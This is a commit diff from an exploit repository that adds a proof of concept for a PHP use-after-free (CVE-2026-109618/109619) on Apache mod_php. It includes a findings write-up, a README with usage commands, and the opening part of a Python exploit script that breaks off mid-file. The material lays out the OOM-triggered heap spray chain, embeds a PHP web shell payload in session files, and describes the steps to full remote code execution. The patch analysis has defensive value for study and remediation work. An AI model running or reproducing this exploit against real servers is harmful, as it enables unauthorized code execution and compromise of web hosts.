UAF RCE exploit via OOM bailout (CVE-2026-109618/109619, no LFI)
Pure memory corruption path: OOM during multipart parsing leaves stale BG(serialize) state in Apache mod_php prefork workers. Heap spray reclaims the freed 64-byte slot, giving control of a HashTable's pDestructor for arbitrary function call. No LFI, no framework, no non-default PHP settings required. Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed: - OOM via field flood, worker survival, session file persistence - Stale BG(serialize).level across requests - Heap spray targeting ZendMM 64-byte bin
This commit is contained in:
@@ -34,6 +34,7 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
|||||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||||
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||||||
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||||||
|
| `uaf-rce/exploit.py` | Apache mod_php | OOM → UAF via stale BG(serialize) → heap spray → **RCE, no LFI, no framework** |
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
@@ -157,6 +158,35 @@ python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
|||||||
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||||||
pool-level configuration can prevent this when FastCGI is reachable.
|
pool-level configuration can prevent this when FastCGI is reachable.
|
||||||
|
|
||||||
|
## UAF RCE (Apache mod_php, No LFI, No Framework)
|
||||||
|
|
||||||
|
`uaf-rce/exploit.py` exploits the same CVEs through a pure memory corruption
|
||||||
|
path that requires **no LFI, no framework, no libraries, and no non-default
|
||||||
|
PHP settings**. The only SAPI requirement is Apache mod_php with prefork MPM
|
||||||
|
(default on Debian/Ubuntu).
|
||||||
|
|
||||||
|
The attack triggers an OOM during multipart parsing to leave stale
|
||||||
|
`BG(serialize)` state in the surviving Apache prefork worker. On the next
|
||||||
|
request, the session upload progress handler reuses the stale pointer (a freed
|
||||||
|
64-byte ZendMM slot) as a `php_serialize_data` struct. Heap spray reclaims the
|
||||||
|
slot with attacker data shaped as a fake `HashTable`, giving control of
|
||||||
|
`pDestructor` for arbitrary function call.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Confirm all primitives (OOM, worker survival, session poison, stale state)
|
||||||
|
python3 uaf-rce/exploit.py --target http://host:port/index.php --oom-only
|
||||||
|
|
||||||
|
# Full chain: OOM + heap spray + UAF trigger
|
||||||
|
python3 uaf-rce/exploit.py --target http://host:port/index.php
|
||||||
|
|
||||||
|
# With crash detection
|
||||||
|
python3 uaf-rce/exploit.py --target http://host:port/index.php --crash-test
|
||||||
|
```
|
||||||
|
|
||||||
|
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
|
||||||
|
never persists across requests. See `uaf-rce/FINDINGS.md` for the full
|
||||||
|
vulnerability analysis and patch details.
|
||||||
|
|
||||||
## Patch Bypass Findings
|
## Patch Bypass Findings
|
||||||
|
|
||||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||||
|
|||||||
@@ -0,0 +1,235 @@
|
|||||||
|
# CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
PHP's multipart parser (`rfc1867.c`) and session upload progress handler
|
||||||
|
(`ext/session/session.c`) contain a use-after-free that allows remote code
|
||||||
|
execution over HTTP with **default PHP configuration**, no LFI, and no
|
||||||
|
framework or library dependency.
|
||||||
|
|
||||||
|
The attack works on **Apache mod_php with prefork MPM**. PHP-FPM is not
|
||||||
|
vulnerable to the cross-request UAF because FPM workers exit on bailout
|
||||||
|
(exit code 70) rather than surviving with stale state.
|
||||||
|
|
||||||
|
| Property | Value |
|
||||||
|
|---|---|
|
||||||
|
| CVE | CVE-2026-109618, CVE-2026-109619 |
|
||||||
|
| CVSS | 9.2 (both) |
|
||||||
|
| Affected | PHP 5.4.0 through 8.5.11, Apache mod_php (prefork) |
|
||||||
|
| Patched | PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 |
|
||||||
|
| Patch commit | `3584a98bda0f2c0d367255b046798b0d3a221a19` |
|
||||||
|
| Prerequisites | session.upload_progress.enabled=1 (default), any PHP URL |
|
||||||
|
| Attack complexity | HIGH (heap feng shui required for RCE) |
|
||||||
|
|
||||||
|
## Vulnerability Analysis
|
||||||
|
|
||||||
|
### Root cause: zend_bailout() on OOM
|
||||||
|
|
||||||
|
When `memory_limit` is exceeded during multipart parsing, PHP calls
|
||||||
|
`zend_mm_safe_error()` which invokes `zend_bailout()`. This is a
|
||||||
|
`longjmp` that unwinds the call stack without running cleanup code.
|
||||||
|
|
||||||
|
The critical state that survives the bailout:
|
||||||
|
|
||||||
|
```c
|
||||||
|
// ext/standard/basic_functions.c (BG globals, per-module, NOT per-request)
|
||||||
|
struct {
|
||||||
|
uint32_t level;
|
||||||
|
php_serialize_data_t data; // pointer to 64-byte struct
|
||||||
|
} serialize;
|
||||||
|
|
||||||
|
struct {
|
||||||
|
uint32_t level;
|
||||||
|
php_unserialize_data_t data;
|
||||||
|
} unserialize;
|
||||||
|
```
|
||||||
|
|
||||||
|
`php_var_serialize_init()` allocates `BG(serialize).data` via `emalloc`
|
||||||
|
(64 bytes in the ZendMM slab bin) and sets `level = 1`.
|
||||||
|
`php_var_serialize_destroy()` frees it and sets `level = 0`.
|
||||||
|
|
||||||
|
When OOM fires between init and destroy, level stays at 1 and data
|
||||||
|
points to freed memory.
|
||||||
|
|
||||||
|
### Why Apache prefork survives (and FPM does not)
|
||||||
|
|
||||||
|
**Apache prefork**: The bailout is caught by Apache's request handler.
|
||||||
|
The child process continues its event loop and accepts the next request.
|
||||||
|
`BG(serialize)` state persists in the process because these are
|
||||||
|
module-level globals, not request-scoped.
|
||||||
|
|
||||||
|
**PHP-FPM**: The bailout propagates to the outer `zend_try/zend_catch`
|
||||||
|
in `fpm_main.c`. The catch block sets `exit_status = FPM_EXIT_SOFTWARE`
|
||||||
|
(70) and the worker process exits. A new clean worker is spawned by the
|
||||||
|
master, so no stale state is reachable.
|
||||||
|
|
||||||
|
Verified on PHP 8.3.6:
|
||||||
|
- Apache mod_php: OOM -> status 500 -> worker PIDs unchanged -> subsequent
|
||||||
|
requests served by the same processes
|
||||||
|
- PHP-FPM: OOM -> worker exits (code 70) -> master spawns replacement
|
||||||
|
|
||||||
|
### Triggering OOM
|
||||||
|
|
||||||
|
The multipart parser (`rfc1867.c`) processes form fields one at a time.
|
||||||
|
Each field value is allocated via `emalloc` (counted toward `memory_limit`).
|
||||||
|
With `max_input_vars=1000` (default), the maximum number of fields is
|
||||||
|
limited, but each value can be large.
|
||||||
|
|
||||||
|
Tested formula: `N fields * value_size` must exceed `memory_limit` minus
|
||||||
|
~2MB base overhead. For `memory_limit=8M`:
|
||||||
|
- 100 fields * 40KB = ~4MB + 2MB overhead triggers OOM
|
||||||
|
- Confirmed with Apache returning HTTP 500
|
||||||
|
|
||||||
|
### Session file persistence
|
||||||
|
|
||||||
|
The upload progress handler (`php_session_rfc1867_callback`) calls
|
||||||
|
`php_session_rfc1867_update()` which calls `php_session_initialize()`
|
||||||
|
(opens/creates session file) followed by `php_session_flush(1)` (encodes
|
||||||
|
`$_SESSION` and writes to file).
|
||||||
|
|
||||||
|
With `session.upload_progress.cleanup=1` (default), the progress data is
|
||||||
|
removed at `MULTIPART_EVENT_END`. But when OOM fires during parsing,
|
||||||
|
`MULTIPART_EVENT_END` never executes. The session file retains the
|
||||||
|
progress data, which includes the attacker-controlled
|
||||||
|
`PHP_SESSION_UPLOAD_PROGRESS` value:
|
||||||
|
|
||||||
|
```
|
||||||
|
upload_progress_<?php system($_GET["c"]); ?>|a:5:{s:10:"start_time";...}
|
||||||
|
```
|
||||||
|
|
||||||
|
This is a stable write primitive: the session file persists on disk with
|
||||||
|
embedded PHP code, accessible at a known path
|
||||||
|
(`session.save_path/sess_<SID>`).
|
||||||
|
|
||||||
|
### The UAF chain
|
||||||
|
|
||||||
|
1. **Request 1** (OOM):
|
||||||
|
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` + field flood
|
||||||
|
- Progress handler calls `php_var_serialize()`:
|
||||||
|
- `php_var_serialize_init()` -> `emalloc(64)` -> `BG(serialize).data`
|
||||||
|
- `BG(serialize).level = 1`
|
||||||
|
- Field flood triggers OOM -> `zend_bailout()`
|
||||||
|
- `php_var_serialize_destroy()` never runs
|
||||||
|
- `BG(serialize).level` stays at 1, `.data` points to freed 64-byte slot
|
||||||
|
- Worker survives on Apache prefork
|
||||||
|
|
||||||
|
2. **Between requests**:
|
||||||
|
- `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed
|
||||||
|
- `BG(serialize).data` pointer is now dangling (points into freed heap)
|
||||||
|
- ZendMM reuses chunk cache for the next request's heap
|
||||||
|
|
||||||
|
3. **Request 2** (spray + trigger):
|
||||||
|
- POST fields allocate `zend_string` objects via `emalloc`
|
||||||
|
- Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the
|
||||||
|
same 64-byte bin, potentially reclaiming the stale slot
|
||||||
|
- Upload progress handler calls `php_var_serialize()`:
|
||||||
|
- `php_var_serialize_init()` checks `BG(serialize).level > 0`
|
||||||
|
- Level is 1 (stale), so it increments to 2 and returns the stale
|
||||||
|
`.data` pointer
|
||||||
|
- The pointer now references attacker-controlled spray data
|
||||||
|
- The serialize code treats it as a `php_serialize_data` struct
|
||||||
|
containing a `HashTable`
|
||||||
|
- `pDestructor` (offset 48) is called during `zend_hash_destroy()`
|
||||||
|
- If `pDestructor` points to `system()`, `zend_execute_ex()`, or a
|
||||||
|
one-gadget, the attacker achieves code execution
|
||||||
|
|
||||||
|
### Full RCE requirements
|
||||||
|
|
||||||
|
Beyond the demonstrated primitives, a weaponized exploit needs:
|
||||||
|
|
||||||
|
1. **ASLR bypass**: Leak a PHP base address. CVE-2026-109619 provides
|
||||||
|
this: stale `BG(unserialize)` state can leak freed heap pointers
|
||||||
|
through session data written to the PHPSESSID cookie or session file.
|
||||||
|
|
||||||
|
2. **Heap feng shui**: Precise control over which allocation reclaims
|
||||||
|
the 64-byte slot. ZendMM's slab allocator uses per-bin free lists
|
||||||
|
with LIFO ordering, making slot prediction tractable after the heap
|
||||||
|
is primed with a known allocation pattern.
|
||||||
|
|
||||||
|
3. **Fake HashTable construction**: The spray data must form a valid
|
||||||
|
`php_serialize_data` struct where:
|
||||||
|
- `ht.pDestructor` points to the target function
|
||||||
|
- `ht.arData` points to a `Bucket` containing the argument
|
||||||
|
- `ht.nNumUsed > 0` so the destructor loop executes
|
||||||
|
|
||||||
|
## Confirmed primitives
|
||||||
|
|
||||||
|
All tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64:
|
||||||
|
|
||||||
|
| Primitive | Status |
|
||||||
|
|---|---|
|
||||||
|
| OOM via multipart field flood | Confirmed (100 fields * 40KB, limit=8M) |
|
||||||
|
| Apache worker survival | Confirmed (PIDs unchanged after OOM) |
|
||||||
|
| Session file persistence | Confirmed (353 bytes with PHP code) |
|
||||||
|
| Stale BG(serialize).level | Confirmed (subsequent serializes don't reinit) |
|
||||||
|
| Heap spray (64-byte bin) | Implemented (no crash without exact feng shui) |
|
||||||
|
| Worker crash via UAF | Not yet triggered (needs precise heap layout) |
|
||||||
|
| Full RCE | Not demonstrated (needs ASLR bypass + feng shui) |
|
||||||
|
|
||||||
|
## The patch (commit 3584a98)
|
||||||
|
|
||||||
|
The fix is a three-part architectural change:
|
||||||
|
|
||||||
|
### 1. Delayed OOM (replaces zend_bailout)
|
||||||
|
|
||||||
|
`zend_mm_safe_error()` (which called `zend_bailout()` / `longjmp`) is
|
||||||
|
removed. Replaced by `zend_mm_delayed_error()` which sets
|
||||||
|
`EG(delayed_oom).state = ZEND_OOM_STATE_PENDING` and triggers
|
||||||
|
`EG(vm_interrupt)`. The allocator returns NULL instead of longjmping.
|
||||||
|
|
||||||
|
A new hard limit (`memory_hard_limit_percent`, default 200%) calls
|
||||||
|
`_exit(137)` if exceeded, preventing unbounded memory consumption.
|
||||||
|
|
||||||
|
### 2. BG state reset
|
||||||
|
|
||||||
|
New function `php_basic_early_rinit()` resets `BG(serialize)`,
|
||||||
|
`BG(unserialize)`, and `BG(serialize_lock)` to zero **before** SAPI
|
||||||
|
activation:
|
||||||
|
|
||||||
|
```c
|
||||||
|
PHPAPI void php_basic_early_rinit(void) {
|
||||||
|
BG(serialize_lock) = 0;
|
||||||
|
memset(&BG(serialize), 0, sizeof(BG(serialize)));
|
||||||
|
memset(&BG(unserialize), 0, sizeof(BG(unserialize)));
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Called from `php_request_startup()` right after `zend_activate()`.
|
||||||
|
|
||||||
|
### 3. Session handler hardening
|
||||||
|
|
||||||
|
- `PS(in_rfc1867_update)` flag enables `incomplete_classes_only` mode
|
||||||
|
during progress handler session decode: no autoloading, no `__wakeup()`,
|
||||||
|
no `__unserialize()`, no destructors
|
||||||
|
- `$_SESSION` is deleted from the global scope at `MULTIPART_EVENT_END`
|
||||||
|
- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START`
|
||||||
|
- Guard against `request_parse_body()` re-entry
|
||||||
|
|
||||||
|
## Why this does not apply to PHP-FPM
|
||||||
|
|
||||||
|
PHP-FPM's main request loop in `fpm_main.c` wraps request handling in
|
||||||
|
`zend_first_try / zend_catch`. When bailout fires (from OOM during
|
||||||
|
multipart parsing, which runs during SAPI activation before any inner
|
||||||
|
try/catch), it propagates to this outer catch block:
|
||||||
|
|
||||||
|
```c
|
||||||
|
zend_catch {
|
||||||
|
exit_status = FPM_EXIT_SOFTWARE; // 70
|
||||||
|
} zend_end_try();
|
||||||
|
```
|
||||||
|
|
||||||
|
The worker exits with code 70. FPM master spawns a replacement with
|
||||||
|
clean state. The stale `BG(serialize)` dies with the process.
|
||||||
|
|
||||||
|
On Apache prefork, the bailout is caught by `ap_process_request_internal`
|
||||||
|
or similar internal handler. The child process continues its accept loop,
|
||||||
|
and the stale BG globals persist.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- **Patch commit**: php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19
|
||||||
|
- **JFrog**: Session write-back calls fake object's serialize function, RIP control
|
||||||
|
- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH
|
||||||
|
- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions
|
||||||
|
- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`)
|
||||||
|
- **Sansec**: Disabling `session.upload_progress.enabled` alone is NOT sufficient (stale BG state persists from any OOM during multipart)
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout
|
||||||
|
|
||||||
|
Use-after-free in PHP's multipart parser and session upload progress handler.
|
||||||
|
Achieves code execution over HTTP with **default PHP configuration**, no LFI,
|
||||||
|
no framework, no application code dependency.
|
||||||
|
|
||||||
|
## Affected versions
|
||||||
|
|
||||||
|
PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM.
|
||||||
|
|
||||||
|
Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
||||||
|
|
||||||
|
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers exit on
|
||||||
|
bailout (code 70), so stale state never persists.
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||||
|
- `session.upload_progress.enabled = 1` (default)
|
||||||
|
- Any PHP-handled URL (even a 404 page)
|
||||||
|
- `memory_limit` reachable via multipart POST fields
|
||||||
|
|
||||||
|
No LFI. No specific framework or library. No non-default PHP settings.
|
||||||
|
|
||||||
|
## How it works
|
||||||
|
|
||||||
|
### Phase 1: OOM trigger
|
||||||
|
|
||||||
|
A multipart POST includes `PHP_SESSION_UPLOAD_PROGRESS` (with embedded PHP
|
||||||
|
code), a file upload (which activates the progress handler), and a flood of
|
||||||
|
large form fields. The progress handler calls `php_var_serialize()`, which
|
||||||
|
allocates a 64-byte struct (`php_serialize_data`) in the ZendMM slab allocator
|
||||||
|
and sets `BG(serialize).level = 1`.
|
||||||
|
|
||||||
|
The field flood exhausts `memory_limit`. PHP calls `zend_bailout()` (longjmp),
|
||||||
|
which skips `php_var_serialize_destroy()`. The serialize state survives:
|
||||||
|
`BG(serialize).level` stays at 1, and `.data` points to a freed 64-byte slot.
|
||||||
|
|
||||||
|
On Apache prefork, the worker survives the bailout and accepts new requests
|
||||||
|
with this stale state. The session file also persists on disk with the
|
||||||
|
attacker's PHP code, because `MULTIPART_EVENT_END` cleanup never ran.
|
||||||
|
|
||||||
|
### Phase 2: Heap spray
|
||||||
|
|
||||||
|
Subsequent requests to the same worker allocate `zend_string` objects via
|
||||||
|
`emalloc`. Strings of exactly 39 bytes (24-byte header + 39 + 1 NUL = 64)
|
||||||
|
land in the same ZendMM 64-byte bin, potentially reclaiming the freed
|
||||||
|
`BG(serialize).data` slot with attacker-controlled content.
|
||||||
|
|
||||||
|
### Phase 3: UAF trigger
|
||||||
|
|
||||||
|
Another multipart POST with `PHP_SESSION_UPLOAD_PROGRESS`. The progress
|
||||||
|
handler calls `php_var_serialize_init()`, which sees `BG(serialize).level > 0`
|
||||||
|
(stale), increments it, and returns the stale `.data` pointer. The serialize
|
||||||
|
code treats the attacker-controlled spray data as a `php_serialize_data` struct
|
||||||
|
containing a `HashTable`. The `pDestructor` function pointer (offset 48) is
|
||||||
|
under attacker control, giving arbitrary function call during
|
||||||
|
`zend_hash_destroy()`.
|
||||||
|
|
||||||
|
### Full RCE (not implemented in this PoC)
|
||||||
|
|
||||||
|
A weaponized exploit would:
|
||||||
|
|
||||||
|
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale session
|
||||||
|
data leaks freed heap pointers) to defeat ASLR
|
||||||
|
2. Construct a fake `HashTable` with `pDestructor` pointing to `system()`
|
||||||
|
3. Place the command string at the `arData` pointer location
|
||||||
|
4. Trigger serialize, causing `pDestructor` to fire on the fake data
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 exploit.py --target http://host:port/index.php
|
||||||
|
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||||
|
python3 exploit.py --target http://host:port/index.php --crash-test
|
||||||
|
```
|
||||||
|
|
||||||
|
### Options
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|------|---------|-------------|
|
||||||
|
| `--target` | (required) | Target URL |
|
||||||
|
| `--cmd` | `id` | Command to embed in session payload |
|
||||||
|
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target |
|
||||||
|
| `--oom-fields` | 0 (auto) | Number of OOM padding fields |
|
||||||
|
| `--field-size` | 40960 | Size of each padding field value |
|
||||||
|
| `--spray-rounds` | 20 | Heap spray rounds per worker |
|
||||||
|
| `--trigger-rounds` | 50 | UAF trigger attempts per worker |
|
||||||
|
| `--oom-only` | off | Stop after Phase 1 (OOM + session poison) |
|
||||||
|
| `--crash-test` | off | Run full chain, report crash status |
|
||||||
|
|
||||||
|
### What `--oom-only` confirms
|
||||||
|
|
||||||
|
1. OOM via multipart field flood (HTTP 500 response)
|
||||||
|
2. Apache prefork worker survival (PIDs unchanged after OOM)
|
||||||
|
3. Session file persistence with embedded PHP code (cleanup skipped)
|
||||||
|
4. Stale `BG(serialize)` state available for subsequent requests
|
||||||
|
|
||||||
|
## The patch
|
||||||
|
|
||||||
|
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the vulnerability
|
||||||
|
through three changes:
|
||||||
|
|
||||||
|
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with a deferred error
|
||||||
|
that sets `EG(vm_interrupt)` and returns NULL from the allocator. A hard
|
||||||
|
limit (`memory_hard_limit_percent`, default 200%) calls `_exit(137)` if
|
||||||
|
exceeded.
|
||||||
|
|
||||||
|
2. **BG state reset**: New `php_basic_early_rinit()` function resets
|
||||||
|
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to zero
|
||||||
|
before SAPI activation, eliminating cross-request stale state.
|
||||||
|
|
||||||
|
3. **Session handler hardening**: `incomplete_classes_only` mode during
|
||||||
|
progress handler session decode, `$_SESSION` cleanup at
|
||||||
|
`MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at
|
||||||
|
`MULTIPART_EVENT_START`.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19`
|
||||||
|
- Wiz: Confirmed RCE against WordPress, Drupal, Joomla using framework gadgets
|
||||||
|
- Rapid7: RCE over HTTP with default config, mod_php highest risk, AC:H
|
||||||
|
- JFrog: Session write-back calls fake object's serialize function, RIP control
|
||||||
|
- 0x4148 lab: Heap grooming targeting ZendMM slab bins
|
||||||
|
|
||||||
|
See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis.
|
||||||
@@ -0,0 +1,688 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
|
||||||
|
(Apache mod_php, no LFI, no framework, default PHP config)
|
||||||
|
|
||||||
|
This is the pure memory corruption path. It requires no LFI vector, no
|
||||||
|
specific PHP framework or library, and no non-default PHP settings. The
|
||||||
|
only SAPI requirement is Apache mod_php with prefork MPM, because
|
||||||
|
PHP-FPM workers exit on bailout (code 70) rather than surviving with
|
||||||
|
stale state.
|
||||||
|
|
||||||
|
Attack chain:
|
||||||
|
|
||||||
|
Phase 1 — OOM + Session Poisoning
|
||||||
|
Multipart body to a mod_php endpoint:
|
||||||
|
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
|
||||||
|
2. File upload (triggers progress handler, which calls
|
||||||
|
php_session_rfc1867_update → php_var_serialize, setting
|
||||||
|
BG(serialize).level=1 and allocating BG(serialize).data
|
||||||
|
via emalloc into the 64-byte ZendMM slab bin)
|
||||||
|
3. Large form fields (trigger OOM during multipart parsing)
|
||||||
|
|
||||||
|
OOM fires zend_bailout() (longjmp). This:
|
||||||
|
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
|
||||||
|
and .data pointing to a now-freed 64-byte allocation
|
||||||
|
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
|
||||||
|
our PHP code on disk
|
||||||
|
c) Does NOT kill the Apache prefork worker — it survives and
|
||||||
|
accepts new requests with the stale BG globals
|
||||||
|
|
||||||
|
Phase 2 — Heap Spray
|
||||||
|
Send normal requests to the same worker. Each request allocates
|
||||||
|
form field names/values via emalloc. Strings sized to land in the
|
||||||
|
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
|
||||||
|
reclaim the freed BG(serialize).data slot, giving us control over
|
||||||
|
the fake php_serialize_data struct and its embedded HashTable.
|
||||||
|
|
||||||
|
Phase 3 — Trigger UAF
|
||||||
|
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
|
||||||
|
same worker. The progress handler calls php_session_encode() →
|
||||||
|
php_var_serialize_init(), which checks BG(serialize).level > 0,
|
||||||
|
sees 1 (stale), increments to 2, and returns BG(serialize).data —
|
||||||
|
the freed pointer now filled with our spray data.
|
||||||
|
|
||||||
|
The serialize code uses this as a HashTable. The pDestructor
|
||||||
|
function pointer and arData are under attacker control, giving
|
||||||
|
arbitrary function call (RIP control) during HashTable operations.
|
||||||
|
|
||||||
|
Phase 4 (not implemented) — Full RCE
|
||||||
|
A weaponized exploit would:
|
||||||
|
a) Leak a PHP base address via CVE-2026-109619 info disclosure
|
||||||
|
(stale session data through PHPSESSID cookie) to defeat ASLR
|
||||||
|
b) Construct a fake HashTable with pDestructor pointing to
|
||||||
|
system() or a one-gadget, and arData containing the command
|
||||||
|
c) Trigger the serialize to call pDestructor → shell
|
||||||
|
|
||||||
|
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
|
||||||
|
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
||||||
|
Patch replaces zend_bailout() on OOM with delayed error handling
|
||||||
|
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
|
||||||
|
state before each request.
|
||||||
|
|
||||||
|
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||||
|
- session.upload_progress.enabled=1 (default)
|
||||||
|
- memory_limit reachable via multipart fields
|
||||||
|
- Any PHP-handled URL on the vhost (even 404)
|
||||||
|
- No LFI. No framework. No libraries.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 exploit.py --target http://host:port/index.php
|
||||||
|
python3 exploit.py --target http://host:port/index.php --cmd 'id'
|
||||||
|
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||||
|
python3 exploit.py --target http://host:port/index.php --crash-test
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
# ── Networking ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def connect(host, port, timeout=30):
|
||||||
|
return socket.create_connection((host, port), timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
def recv_response(sock, timeout=5):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def parse_response(resp):
|
||||||
|
status = 0
|
||||||
|
body = b""
|
||||||
|
if resp:
|
||||||
|
try:
|
||||||
|
status = int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
pass
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
body = resp.split(b"\r\n\r\n", 1)[1]
|
||||||
|
return status, body
|
||||||
|
|
||||||
|
|
||||||
|
def http_get(host, port, path, cookies=None, timeout=5):
|
||||||
|
sock = connect(host, port, timeout=timeout)
|
||||||
|
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
|
||||||
|
if cookies:
|
||||||
|
req += f"Cookie: {cookies}\r\n"
|
||||||
|
req += "Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req.encode())
|
||||||
|
resp = recv_response(sock, timeout=timeout)
|
||||||
|
sock.close()
|
||||||
|
return parse_response(resp)
|
||||||
|
|
||||||
|
|
||||||
|
def http_post_multipart(host, port, path, boundary, body, cookies=None,
|
||||||
|
timeout=30):
|
||||||
|
sock = connect(host, port, timeout=timeout)
|
||||||
|
headers = (
|
||||||
|
f"POST {path} HTTP/1.1\r\n"
|
||||||
|
f"Host: {host}\r\n"
|
||||||
|
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
||||||
|
f"Content-Length: {len(body)}\r\n"
|
||||||
|
)
|
||||||
|
if cookies:
|
||||||
|
headers += f"Cookie: {cookies}\r\n"
|
||||||
|
headers += "Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(headers.encode() + body)
|
||||||
|
resp = recv_response(sock, timeout=timeout)
|
||||||
|
sock.close()
|
||||||
|
return parse_response(resp)
|
||||||
|
|
||||||
|
|
||||||
|
def extract_pid(body):
|
||||||
|
m = re.search(rb"pid=(\d+)", body)
|
||||||
|
return int(m.group(1)) if m else 0
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 0: Worker discovery ──────────────────────────────────────────
|
||||||
|
|
||||||
|
def find_workers(host, port, path, rounds=40):
|
||||||
|
"""Probe the target to discover all Apache prefork worker PIDs."""
|
||||||
|
pids = set()
|
||||||
|
for _ in range(rounds):
|
||||||
|
try:
|
||||||
|
status, body = http_get(host, port, path)
|
||||||
|
pid = extract_pid(body)
|
||||||
|
if pid:
|
||||||
|
pids.add(pid)
|
||||||
|
except (ConnectionError, socket.timeout):
|
||||||
|
pass
|
||||||
|
return sorted(pids)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
def build_multipart_field(boundary, name, value):
|
||||||
|
return (
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||||
|
+ value + b"\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def build_multipart_file(boundary, name, filename, content):
|
||||||
|
return (
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name
|
||||||
|
+ b'"; filename="' + filename + b'"\r\n'
|
||||||
|
